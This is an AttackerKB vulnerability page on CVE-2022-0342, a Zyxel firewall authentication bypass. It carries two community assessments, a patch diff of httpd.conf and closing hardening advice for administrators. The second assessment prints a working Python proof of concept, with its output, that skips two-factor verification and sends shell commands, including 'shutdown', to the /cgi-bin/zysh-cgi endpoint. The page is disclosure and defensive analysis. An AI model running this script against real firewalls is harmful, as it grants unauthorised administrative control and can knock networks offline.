Moderate
CVE-2022-0342
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-0342
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
Based on updated analysis from Maurizio Agazzini over at https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/, it appears the impact of this vulnerability is a lot higher than initially anticipated. I think what our analysis and possibly others failed to realize is that a lot of this vulnerability is dependent on the actual port that you send the request to.
In the analysis listed above they noted that the following ports are associated with Apache:
- 8008
- 54088
- 80
- 4433
- 443
And if we access the port 8008 we get a VPN Authorize authentication prompt, which appears to be related to 2FA. However note that unlike @jbaines-r7’s assessment, the prompt isn’t exactly the same and contains the text “VPN Authorize” at the top.
From this they then realized that since this must be related to 2FA, there is a configuration file at /var/zyxel/service_conf/httpd_twofa.conf
which controls this. Looking at the configuration showed it was set up to listen on port 8008, the same port accessed earlier, and gave some more information on setup.
They they accessed port 54088 whilst exploring the other ports and noticed it contained what looked to be a block page. This is common on firewalling/website blocking apps where they will run a website on a port and redirect to that port to show the block page whenever a website that is deemed to be “bad” is attempted to be accessed by a user.
Looking at this and noticing it was a blockpage lead them to /var/zyxel/service_conf/cf_blockpage_https.conf
which showed that port 54088 was being used for the cf_blockpage service,.
They then noticed both of these configuration files referenced /usr/local/apache/cgi-bin
using the Directory configuration directive as described at https://httpd.apache.org/docs/2.4/mod/core.html#directory, which would have the configuration option SSLOptions +StdEnvVars
which as described at https://httpd.apache.org/docs/trunk/mod/mod_ssl.xml#ssloptions, sets “the standard set of SSL related CGI/SSI environment variables are created. This per default is disabled for performance reasons, because the information extraction step is a rather expensive operation. So one usually enables this option for CGI and SSI requests only.” So this is interesting as it indicates we might be using CGI scripts on these endpoints.
At this point they then looked at /usr/local/zyxel-gui/httpd.conf
and found that the /usr/local/apache/cgi-bin
directory has a ScriptAlias for /cgi-bin/
, meaning one can access the scripts in this directory by browsing to /cgi-bin/
. Because this was configured in a global area though, this means that all the CGIs inside the /usr/local/apache/cgi-bin
directory are accessible on every different virtual host the server provides.
As a final point they show that they could get around some of the authentication errors by sending a CGI request not to port 443, but instead to port 8008, and the same request worked fine, which allowed them to export the startup-config.conf
file. This is just one example though as now they can essentially access any CGI endpoints on the server without authentication and are limited only by what the CGI script allows them to do.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery Low
-
ExploitabilityVery Low
Technical Analysis
On March 29, 2022, Zyxel released a security advisory for an authentication bypass vulnerability affecting a handful of their firewall and VPN products. The vulnerability, assigned CVE-2022-0342, is described as allowing a remote attacker to obtain administrative access to the system, and was assigned a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
We believe widespread exploitation of this issue is unlikely. While there are a fair number of affected firewalls visible on Shodan, our analysis suggests that exploitation requires a specific configuration and partial authentication. Most firewalls will not be affected. There are currently no reports of this vulnerability being exploited in the wild, and, before this write-up, no public proof of concept existed.
Analysis
The most obvious change in Zyxel’s patch was this modification of the web server’s apache configuration file:
diff -u ~/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf ~/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf --- /home/albinolobster/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 2022-01-04 01:24:55.000000000 -0800 +++ /home/albinolobster/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 2022-03-14 13:26:04.000000000 -0700 @@ -24,7 +24,8 @@ AuthZyxelRedirect / AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \ /libcdr_blockpage.cgi \ -/cdr_cloud_block_page.html \ +/libcdr_blockpage.html \ +/libcdr_cloud_blockpage.html \ /2FA-access.cgi \ /webauth_ga.cgi \ /fbwifi_error.cgi /fbwifi/ \ @@ -40,6 +41,8 @@ /ztp/ /ztp/cgi-bin/ \ /change-expired-password.html /chg_exp_pwd.cgi ext-js/web-pages/login/chgpw_expired.html /ext-all.css /ext-all.js /appLite.js zld_product_spec.js /showCLI.js /zyVType.js /persist-min.js /zyExtend.js /zyFunction.js /zyComponent.js /language_panel.js /ext-lang-en.js /language.js /login.css /custmiz_page.js /chgpw_expired.js /retrieveData.js /MultiSelect.js /ItemSelector.js /cmdStore.js /favicon.ico /PagingStore.js /zyform.js /ext-theme-classic-all.css /content_line.gif /content_bg.jpg /login_img.gif /login_bg.jpg /advance_bg.gif /reset.css \ +AuthZyxelSkipTwoFaPattern /ext-js/app/view/object/authmeth/twoFA/2FAVerify.html /ext-js/ext/ux/grid/FiltersFeature.js /ext-js/app/view/object/authmeth/twoFA/2FAVerify.js /ext-js/ext/ux/form/field/BoxSelect/BoxSelect.js /ext-js/ext/ux/toggleslide/ToggleSlide.js /ext-js/ext/ux/toggleslide/Thumb.js /ext-js/ext/ux/grid/menu/ListMenu.js /ext-js/ext/ux/grid/menu/RangeMenu.js /ext-js/ext/ux/grid/filter/DateFilter.js /ext-js/ext/ux/grid/filter/BooleanFilter.js /ext-js/ext/ux/grid/filter/DateTimeFilter.js /ext-js/ext/ux/grid/filter/ListFilter.js /ext-js/ext/ux/grid/filter/NumericFilter.js /ext-js/ext/ux/grid/filter/StringFilter.js /ext-js/ext/ux/grid/filter/Filter.js /ext-js/ext/src/zy2FAVerifyForm.js /cgi-bin/zysh-cgi \ + ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/" AddHandler cgi-script .cgi .py
This change introduces a second level of authentication for when two-factor authentication (2fa) is used. Corresponding changes can be found in Zyxel’s custom Apache module mod_auth_zyxel.so
and the Zyxel command line shell cgi zysh-cgi
.
Zyxel’s firewalls support 2fa on the administrative web interface via Google Authenticator. Like most 2fa systems, the admin user must first correctly enter their username and password before being prompted for a 2fa verification code:
On Zyxel’s firewalls affected by CVE-2022-0342, the admin user can execute Zyxel shell commands by sending HTTP POST requests to /cgi-bin/zysh-cgi
without completing the 2fa verification. The following proof of concept demonstrates this by logging in as the admin user and ignoring the 2fa redirect. The script sends POST requests to execute the Zyxel shell commands show version
and shutdown
.
import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Use session since the initial login will give us an auth-tok sess = requests.Session() login_url = 'https://192.168.1.1/' login_data = { 'username':'admin','pwd':'labpass1','password':'labpass1','pwd_r':'','mp_idx':0 } headers = { 'Origin':login_url,'Referer':login_url } resp = sess.post(login_url, data = login_data, headers=headers, allow_redirects=False, verify=False) if resp.status_code != 302: print('Unexpected status code') exit(0) print(resp.headers) print(resp.text) # Just start issuing commands :shrug: shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi' shell_data = { 'filter':'js2','cmd':'show version','write':0 } resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False) print(resp.headers) print(resp.text) # Shut 'em down shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi' shell_data = { 'filter':'js2','cmd':'shutdown','write':0 } resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False) print(resp.headers) print(resp.text)
Using this script against our affected test USG Flex 100 generates the following output:
albinolobster@ubuntu:~$ python3 fdas.py {'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Set-Cookie': 'authtok=o+F36szSDU7Q6fPAt2ExkMkvgLZIN7YMKtFM26MRm9NckniEVqSaw1zCL7Kpt2OV; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'} <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p> </body></html> {'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'} var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.20(ABUH.0)','_build_date':'2022-01-04 18:51:35','_boot_status':'Running'}]; var errno0=0; var errmsg0='OK'; If you are reading this, the shutdown command failed. {'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'} var zyshdata0=[]; var errno0=0; var errmsg0='OK';
After the second OK
response, the firewall powers off, therefore demonstrating the 2fa bypass.
When the firewall has been patched, the attacker can still issue some commands to zysh-cgi
but it appears critical commands like shutdown
have been disabled. Here is output against the patched firmware version 5.21:
albinolobster@ubuntu:~$ python3 fdas.py {'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Set-Cookie': 'authtok=zv8CJ2l2SUbsO3FIoedxTs4i94-RdQauJEM9BzlW9PV67ttFqVLH6UhRAZwpJRQL; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'} <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p> </body></html> {'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'} var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.21(ABUH.1)','_build_date':'2022-03-15 05:51:17','_boot_status':'Running'}]; var errno0=0; var errmsg0='OK'; {'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'} var zyshdata0=[]; var errno0=0; var errmsg0='OK';
The cgi script still responds with OK
but the shutdown
is never actually executed.
Is that it?
With such a high CVSS score, it seems anticlimactic that the vulnerability is simply a 2fa bypass. It’s possible that we’ve overlooked a detail but, as far as we can tell, access to zysh-cgi
requires a valid authtok
and the firmware patch is almost entirely focused on this two-factor authentication mechanism. Zyxel included almost no other changes in this patch (interestingly the XSS didn’t get a CVE, but I believe you’ll find it in redirect.cgi
):
Zyxel’s method of disclosure does cause me to question if we’ve overlooked something though. The description they provided for this issue makes it sound like a critical vulnerability. They could have easily described this as a 2fa bypass instead of an “authentication bypass”, and therefore downplayed the criticality of the issue. But they didn’t. Are they just playing games with useless vulnerability descriptions (sadly the norm), or is there more to this issue than we’ve described? It could be that the 2fa bypass is simply a symptom of a more critical vulnerability. That wouldn’t surprise me, but I also don’t see it.
Conclusion
In this writeup we demonstrated an MFA bypass that was recently fixed by Zyxel firewalls. It’s reasonable to assume that vulnerability, at least in part, is CVE-2022-0342. While likelihood of exploitation of this particular issue is low, there are a number of things administrators should do to protect themselves from future Zyxel firewall vulnerabilities:
- Disable remote administration on the WAN interface
- Enable automatic update
- Enable two-factor authentication on the admin account
- Schedule weekly reboots of the firewall
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- zyxel
Products
- atp100 firmware,
- atp100w firmware,
- atp200 firmware,
- atp500 firmware,
- atp700 firmware,
- atp800 firmware,
- nsg300 firmware,
- nsg300 firmware 1.33,
- usg flex 100 firmware,
- usg flex 100w firmware,
- usg flex 200 firmware,
- usg flex 500 firmware,
- usg flex 700 firmware,
- usg40 firmware,
- usg40w firmware,
- usg60 firmware,
- usg60w firmware,
- vpn100 firmware,
- vpn1000 firmware,
- vpn300 firmware,
- vpn50 firmware,
- zywall 110 firmware,
- zywall 1100 firmware,
- zywall 310 firmware
References
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: